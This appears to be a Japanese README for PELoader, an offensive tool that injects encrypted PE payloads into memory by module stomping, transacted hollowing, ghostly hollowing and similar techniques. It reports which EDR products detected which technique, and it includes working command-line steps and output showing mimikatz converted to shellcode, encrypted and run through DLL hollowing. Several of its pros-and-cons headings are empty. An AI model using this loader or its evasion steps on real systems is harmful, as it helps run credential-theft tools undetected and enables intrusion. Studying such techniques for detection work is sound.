
PELoaderは、様々なシェルコードインジェクション技術を実装し、libpeconvライブラリを使用して、リモートスレッドにシェルコードを注入する代わりに、暗号化されたPEファイルをロードします。
以下の技術が実装されています:
謝辞: 私の作業の大部分は@hasherezadeのPoCスクリプトに基づいています。
PELoaderはWindows 10上で、Cortex XDR、SentinalOne、Windows Defender、CrowdStrikeを用いてテストされました。Windows DefenderとCrowdStrikeはTransacted Hollowing技術を検出しました。各技術の特性は、@forrest-orrのメモリスキャンツールMonetaでテストされました。
Module Stomping (LoadLibrary)
LoadLibraryを呼び出して正当なDLLをロードし、DLLをペイロードで上書きします。
利点

Module Stomping (NtMapViewOfSection)
NtCreateSectionを呼び出して正当なDLLのファイルマッピングオブジェクト(PAGE_READONLY)を作成し、NtMapViewOfSectionを呼び出して現在のプロセスにマッピングします。DLLをペイロードで上書きします。
利点
欠点

@hasherezadeのPoCを参照。
Transacted Hollowing
Process HollowingとProcess Doppelgängingのハイブリッド。NTFSトランザクション内に「不可視」ファイルを作成し、ペイロードをそのファイルに書き込みます。セクションを現在のプロセスにマッピングして実行します。
利点
欠点

Ghostly Hollowing
Process HollowingとProcess Ghostingのハイブリッド。削除保留状態のファイルを作成し、ペイロードをそのファイルに書き込みます。セクションを現在のプロセスにマッピングして実行します。
利点
欠点
@hasherezadeのPoCを参照。
NtMapViewOfSection (RWX-RW-RX)
NtCreateSectionを呼び出してメモリセクション(RWX)を作成します。NtMapViewOfSectionを呼び出して現在のプロセスにビューをマッピングします(RWX)。VirtualProtectを呼び出して保護をRWに変更します。シェルコードをマッピングされたセクションにコピーします。保護をRXに変更して実行します。
利点
欠点

NtAllocateVirtualMemory (RW-RX)
NtAllocateVirtualMemoryを呼び出してメモリ(RW)を割り当てます。シェルコードをメモリにコピーします。保護をRXに変更して実行します。
利点
欠点

AES暗号化ペイロード
pe_to_shellcodeを使用してPEファイルをシェルコードに変換し、PELoaderで暗号化します
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
PE Execution
環境変数"hagrid"に引数を設定し、PELoaderを実行します
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #